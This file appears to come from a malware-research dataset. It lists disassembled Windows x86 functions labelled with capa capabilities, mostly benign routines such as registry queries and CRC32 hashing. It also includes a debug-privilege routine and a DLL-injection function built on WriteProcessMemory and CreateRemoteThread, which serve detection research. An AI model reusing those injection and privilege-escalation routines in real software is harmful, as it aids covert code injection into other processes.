joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4500c4
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45026f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x450250
mov dl, 1
mov eax, dword [0x411b54]
call fcn.00403144
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00403eac
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x45023f
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0043e0d0
test al, al
je 0x450232
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x450280
lea eax, [ebp - 0x254]
call fcn.00408ad0
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x450232
xor eax, eax
push ebp
push 0x45022b
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x4502b8
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x450214
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.0040411c
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x450214
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.0040411c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x450232
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x450135
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00415630
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x450276
lea eax, [ebp - 0x260]
call fcn.00403eac
ret

Function at 0x450ba4
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x45dbb0]
cmp byte [eax + 0xa5], 0
jne 0x450c15
cmp dword [0x45dbc8], 0
jne 0x450bd6
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x450b60
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x45dbc8], eax
cmp dword [0x45dbc4], 0
jne 0x450bf1
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x45dbc4], eax
cmp dword [0x45dbcc], 0
jne 0x450c15
push esp
push 0
push 0
push 0x450b04
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x45dbcc], eax
pop edx
ret
Function at 0x450d0c
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x450d23
add esp, 0xfffffff0
call fcn.00403480
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00419440
mov eax, dword [0x45c95c]
cmp word [eax + 2], 0
jne 0x450d4b
mov eax, dword [0x45c95c]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004523e4
mov eax, dword [0x45ca40]
cmp word [eax + 2], 0
jne 0x450d65
mov eax, dword [0x45ca40]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004525dc
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x411738]
call fcn.00403144
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x411738]
call fcn.00403144
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41b61c]
call fcn.0042129c
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x450eec
mov eax, dword [0x45c840]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0042166c
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x452b7c
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x45c840]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040c180
test eax, eax
je 0x450e5a
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.004084c4
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040c1a8
test eax, eax
je 0x450e6e
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.0040411c
mov eax, dword [0x45c6c4]
cmp byte [eax], 0
jne 0x450ea2
mov eax, ebx
call fcn.00451014
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.00452d58
mov eax, ebx
call fcn.0045371c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x450ee2
call fcn.004034d8
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x451294
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x45dbb0]
cmp dword [eax + 0x30], 0
je 0x45133e
cmp dword [ebx + 0x94], 0
jne 0x451338
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x451224
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x451338
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x4512fe
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x451338
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00413aa0
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x45130d
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x451ea0
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x451ed5
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403f9c
jmp 0x451ee2
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403f00
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x452f34
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x452f75
mov eax, esi
call fcn.004396fc
test al, al
je 0x452f75
mov eax, dword [ebx + 0x84]
call fcn.004393f8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x452f75
push 0
mov eax, dword [ebx + 0x84]
call fcn.004393f8
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x4595f4
Capabilities:
Acquire debug privileges

Disassembly:
push ebx
add esp, 0xffffffe4
mov byte [esp], dl
xor ebx, ebx
lea eax, [esp + 4]
push eax
push 0x20
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x459676
mov dword [esp + 0xc], 1
lea eax, [esp + 0x10]
push eax
push 0x459680
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
cmp byte [esp], 0
je 0x45963c
mov dword [esp + 0x18], 2
jmp 0x459642
xor eax, eax
mov dword [esp + 0x18], eax
xor eax, eax
mov dword [esp + 8], eax
lea eax, [esp + 8]
push eax
push 0
push 0x10
lea eax, [esp + 0x18]
push eax
push 0
mov eax, dword [esp + 0x18]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_GetLastError
test eax, eax
sete bl
mov eax, dword [esp + 4]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, ebx
add esp, 0x1c
pop ebx
ret
Function at 0x459694
Capabilities:
Create process on windows
Create process suspended
Create thread
Inject dll
Inject thread
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff98
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.0040435c
mov eax, dword [ebp - 8]
call fcn.0040435c
mov eax, dword [ebp + 0xc]
call fcn.0040435c
mov eax, dword [ebp + 8]
call fcn.0040435c
xor eax, eax
push ebp
push 0x459886
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
mov eax, dword [ebp + 0xc]
call fcn.0040416c
mov edx, eax
dec edx
lea eax, [ebp - 0x10]
call fcn.004044f8
mov eax, dword [ebp + 0xc]
call fcn.0040416c
dec eax
push eax
mov eax, dword [ebp + 0xc]
call fcn.0040436c
push eax
mov eax, dword [ebp - 0x10]
call fcn.0040436c
pop edx
pop ecx
call fcn.00406790
lea eax, [ebp - 0x54]
mov edx, 0x44
call fcn.00406798
lea eax, [ebp - 0x64]
mov edx, 0x10
call fcn.00406798
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x54]
push eax
mov eax, dword [ebp - 0x10]
call fcn.0040436c
push eax
push 0
push 4
push 0
push 0
push 0
push dword [ebp - 4]
push 0x4598a0
push dword [ebp + 8]
lea eax, [ebp - 0x68]
mov edx, 3
call fcn.0040422c
mov eax, dword [ebp - 0x68]
call fcn.0040436c
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x45978b
push 0
push 0x4598a4
push 0x4598a8
push 0
call sub.user32.dll_MessageBoxA_1
jmp 0x45984e
mov eax, dword [ebp - 0x60]
push eax
call sub.kernel32.dll_ResumeThread
mov dl, 1
mov eax, ebx
call fcn.004595f4
mov eax, dword [ebp - 0x5c]
push eax
push 0
push 0x2a
call sub.kernel32.dll_OpenProcess
mov eax, dword [ebp - 8]
call fcn.0040416c
add eax, eax
inc eax
call fcn.004026cc
mov ebx, eax
mov eax, dword [ebp - 8]
call fcn.0040416c
mov ecx, eax
add ecx, ecx
inc ecx
mov edx, ebx
mov eax, dword [ebp - 8]
call fcn.00404c48
push ebx
call sub.kernel32.dll_lstrlenW
inc eax
mov esi, eax
add esi, esi
push 4
push 0x1000
push esi
push 0
mov eax, dword [ebp - 0x64]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
xor eax, eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
push esi
push ebx
push edi
mov eax, dword [ebp - 0x64]
push eax
call sub.kernel32.dll_WriteProcessMemory
lea eax, [ebp - 0xc]
push eax
push 0
push edi
push 0x4598bc
push 0x4598cc
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
push eax
push 0
push 0
mov eax, dword [ebp - 0x64]
push eax
call sub.kernel32.dll_CreateRemoteThread
mov esi, eax
mov eax, ebx
call fcn.004026ec
push 0xffffffffffffffff
push esi
call sub.kernel32.dll_WaitForSingleObject
push esi
call sub.kernel32.dll_CloseHandle
mov esi, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45988d
lea eax, [ebp - 0x68]
call fcn.00403eac
lea eax, [ebp - 0x10]
call fcn.00403eac
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403ed0
lea eax, [ebp + 8]
mov edx, 2
call fcn.00403ed0
ret
Function at 0x4d9cc4
Capabilities:
Hash data using crc32b

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [0x5096e4], 0
jne 0x4d9d83
mov dword [ebp - 0x10], 0x80000000
push 0x400
call fcn.004e2fb7
add esp, 4
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [0x5096e4], eax
mov dword [ebp - 0xc], 0
jmp 0x4d9d08
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0x100
jge 0x4d9d83
push 8
mov edx, dword [ebp - 0xc]
push edx
call fcn.004d9c6e
add esp, 8
shl eax, 0x18
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0
jmp 0x4d9d37
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 8
jge 0x4d9d64
mov ecx, dword [ebp - 0x18]
and ecx, 0x80000000
test ecx, ecx
je 0x4d9d5a
mov edx, dword [ebp - 0x18]
shl edx, 1
xor edx, 0x4c11db7
mov dword [ebp - 0x18], edx
jmp 0x4d9d62
mov eax, dword [ebp - 0x18]
shl eax, 1
mov dword [ebp - 0x18], eax
jmp 0x4d9d2e
push 0x20
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.004d9c6e
add esp, 8
mov edx, dword [ebp - 0xc]
mov ecx, dword [0x5096e4]
mov dword [ecx + edx*4], eax
jmp 0x4d9cff
mov edx, dword [ebp + 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 8]
add eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
jmp 0x4d9d9d
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 8]
jae 0x4d9dc9
mov eax, dword [ebp - 4]
movsx ecx, byte [eax]
xor ecx, dword [ebp + 0x10]
and ecx, 0xff
mov edx, dword [ebp + 0x10]
shr edx, 8
mov eax, dword [0x5096e4]
mov ecx, dword [eax + ecx*4]
xor ecx, edx
mov dword [ebp + 0x10], ecx
jmp 0x4d9d94
mov eax, dword [ebp + 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x4dac5c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
add ecx, 0xf8
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
add eax, dword [edx + 0x78]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x1c]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x1c]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x1c]
add eax, dword [edx + 0x1c]
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 0
jmp 0x4dacc8
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
cmp eax, dword [edx + 0x18]
jae 0x4dad11
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call fcn.004e8f00
add esp, 8
test eax, eax
jne 0x4dad0f
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
xor edx, edx
mov dx, word [ecx + eax*2]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x1c]
add ecx, dword [eax + edx*4]
mov eax, ecx
jmp 0x4dad13
jmp 0x4dacbf
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4e29cc
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2cc
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call fcn.004dce1b
add esp, 4
and eax, 0xff
test eax, eax
je 0x4e2a55
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push 0x2cc
push 0
lea eax, [ebp - 0x2cc]
push eax
call fcn.004e3700
add esp, 0xc
mov dword [ebp - 0x2cc], 0x10001
lea ecx, [ebp - 0x2cc]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x4e2a53
mov ecx, dword [ebp - 0x214]
cmp ecx, dword [ebp + 0xc]
jne 0x4e2a53
jmp 0x4e2a55
jmp 0x4e29d5
mov esp, ebp
pop ebp
ret

Function at 0x4e2ebc
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
movsx eax, byte [0x509ae8]
test eax, eax
jne 0x4e2ed0
call fcn.004e2e04
xor ecx, ecx
mov cl, byte [0x509ae5]
test ecx, ecx
jne 0x4e2f57
xor edx, edx
mov dl, byte [0x509ae4]
test edx, edx
jne 0x4e2f57
cmp dword [0x509bec], 0
je 0x4e2f32
mov eax, dword [ebp + 0xc]
push eax
push 0
push 0x180
mov ecx, dword [0x509bec]
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [ebp - 4], eax
push 0
mov edx, dword [ebp - 4]
push edx
push 0x186
mov eax, dword [0x509bec]
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
mov ecx, dword [0x509bec]
push ecx
call dword [sym.imp.USER32.dll_UpdateWindow]
jmp 0x4e2f57
push 0x10001
push 0x509ae8
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 2
jne 0x4e2f57
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret
Function at 0x4e5700
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x506b08
cmp edx, dword [eax]
je 0x4e5722
add eax, 8
inc ecx
cmp eax, 0x506b98
jl 0x4e5713
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x506b08]
jne 0x4e5850
mov eax, dword [0x509c60]
cmp eax, 1
je 0x4e582a
test eax, eax
jne 0x4e5753
cmp dword [0x506844], 1
je 0x4e582a
cmp edx, 0xfc
je 0x4e5850
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4e578a
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004e3b70
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004e38f0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4e57cd
lea eax, [ebp - 0x1a4]
push eax
call fcn.004e38f0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x5095cc
push edi
call fcn.004e3d20
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004e3b70
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004e3b80
lea eax, [ebp - 0xa0]
push 0x5095ac
push eax
call fcn.004e3b80
push dword [esi + 0x506b0c]
lea eax, [ebp - 0xa0]
push eax
call fcn.004e3b80
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004e7cc8
add esp, 0x2c
pop edi
jmp 0x4e5850
lea eax, [ebp + 8]
lea esi, [esi + 0x506b0c]
push 0
push eax
push dword [esi]
call fcn.004e38f0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x42cec0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x49370b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004860ff
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x42cf42
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00483b7d
mov eax, dword [eax]
push 0x4b71f4
push eax
call fcn.00476834
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0048638a
test bl, bl
je 0x42cf42
push 0x4b71f4
lea ecx, [esp + 0xc]
call fcn.00486766
push 0x4bad6c
lea ecx, [esp + 0xc]
call fcn.00486766
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x42cf7e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0048638a
jmp 0x42d049
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x42d002
lea edx, [esp + 0x7c]
push 0x4bad68
push edx
call fcn.00476834
add esp, 8
test eax, eax
je 0x42d002
lea eax, [esp + 0x7c]
push 0x4bad64
push eax
call fcn.00476834
add esp, 8
test eax, eax
je 0x42d002
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x42cf92
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0048638a
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x42d840
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x42d8a2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x42d8b0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x49378b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4c1c48]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x42d9e8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x42d916
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0048638a
xor eax, eax
jmp 0x42da5f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00486513
push esi
lea ecx, [esp + 0xc]
call fcn.004867a2
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x42da3d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocStringLen
call fcn.0042d840
test eax, eax
jne 0x42da3d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocStringLen
mov ecx, edi
call fcn.0042d840
test eax, eax
jne 0x42da3d
lea eax, [esp + 0x14]
push 0x4bad80
push eax
call fcn.004779e0
mov esi, eax
add esp, 8
test esi, esi
jne 0x42da1c
lea ecx, [esp + 0x14]
push 0x4bad7c
push ecx
call fcn.00477960
mov esi, eax
add esp, 8
test esi, esi
jne 0x42da1c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x42da1f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004864c3
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x42d92e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0048638a
xor eax, eax
jmp 0x42da5f
mov byte [esi], 0
push 0x4bad78
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0048638a
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4